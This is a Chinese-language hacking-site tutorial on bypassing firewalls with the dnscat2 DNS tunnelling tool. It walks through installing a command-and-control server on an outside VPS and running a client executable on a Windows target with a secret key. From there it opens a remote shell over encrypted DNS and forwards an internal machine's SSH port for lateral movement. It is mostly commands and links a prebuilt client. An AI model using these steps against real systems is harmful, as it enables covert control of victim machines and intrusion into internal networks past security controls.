关注我们
QRcode 邮件联系 新浪微博
首页 > 黑客攻防 » 正文

实战:通过DNS协议绕过防火墙

     条点评
后台-系统设置-扩展变量-手机广告位-内容正文顶部

测试环境

Default
123 ubuntu 14.04 root用户windows7 x64 user用户 

**0x01环境准备**

Default
12345678 apt-get updateapt-get -y install ruby-dev git make g++gem install bundlergit clone https://github.com/iagox86/dnscat2.gitcd dnscat2/server#修改Gemfile source 'https://ruby.taobao.org/'bundle install 

或者通过docker安装

Default
1234567 apt-get install docker.ioservice docker statusservice docker startcd ~/dnscat2/server#修改Gemfile source 'https://ruby.taobao.org/'docker build . 

安装完成之后,可能在docker images 看到这个镜像没有名字,我们修改一下 docker tag IMAGEID mpercival/dnscat2

**0x02利用过程**

server端

Default
1234 cd dnscat2/serverruby ./dnscat2.rb#docker用户  docker run -p 53:53/udp -it --rm mpercival/dnscat2 ruby ./dnscat2.rb 

自动草稿

可以通过两种方式设置C&C地址,如果没有域名的话,直接在外网VPS运行ruby ./dnscat2.rb 有域名的童鞋,先设置好NS服务器将NS记录修改为当前的机器。然后通过ruby ./dnscat2.rb yourdomain 我这里使用的IP地址

client端

将dnscat2文件夹下面的client编译好成exe,然后上传到client端

Default
12 dnscat2.exe --dns=server=server端ip --secret=c2c6d04cab68ee2947d80316858da0f8 

自动草稿
由于在新版本的dnscat2是加密的所以我们在客户端执行的时候要加上秘钥,不然无法正确的建立连接
自动草稿
获取shell

Default
1234 session -i 1 #切换到session 1help #通过help可以看到支持的命令shell  #执行之后会新生成一个session  需要通过session -i 2 切过去 

自动草稿
这样就成功获取了一个shell,我们可以通过数据包看一下
自动草稿
数据都是通过DNS发出去的,并且是加密过的,因为在最初的dnscat2的版本中,数据只是简单的hex编码。到最新版的默认就已经加密
t6
通过Salsa20加密算法进行了加密,如果不知道秘钥,就几乎不能解密数据包了。除了普通的反弹shell和上传下载文件功能,还有一个比较有用的功能
可以通过dnscat2实现DNS隧道,然后进行内网渗透。在成功获取一个session之后执行

Default
123 session -i idlisten 4444 10.211.55.19:22 #将内网10.211.55.19的22端口转发到本地的4444 

t7
然后直接ssh本地的ip的4444端口
t8
注意的是我用的docker环境,所以是直接ssh的docker的ip

编译好的client端

dnscat2.zip

**0x03参考**
https://github.com/iagox86/dnscat2
https://zeltser.com/c2-dns-tunneling/

【via@Tomato】

后台-系统设置-扩展变量-手机广告位-内容正文底部
本文标签:
实战Linux下三种不同方式的提权技巧
WAF攻防研究之四个层次Bypass WAF
实战Linux下三种不同方式的提权技巧实战Linux下三种不同方式的提权技巧Use MSBuild To Do More(渗透中MSBuild的应用技巧)Use MSBuild To Do More(渗透中MSBuild的应利用HTTP host头攻击的技术利用HTTP host头攻击的技术LNMP虚拟主机PHP沙盒逃逸LNMP虚拟主机PHP沙盒逃逸bug bounty – 绕过限制劫持Skype账号bug bounty – 绕过限制劫持Skype账号[MSSQL] 重建密碼一樣的帳號[MSSQL] 重建密碼一樣的帳號QQ邮箱反射型xss漏洞QQ邮箱反射型xss漏洞简单易用,用Powershell劫持Windows系统快捷键;含POC简单易用,用Powershell劫持Windows系统快捷

已有条评论,欢迎点评!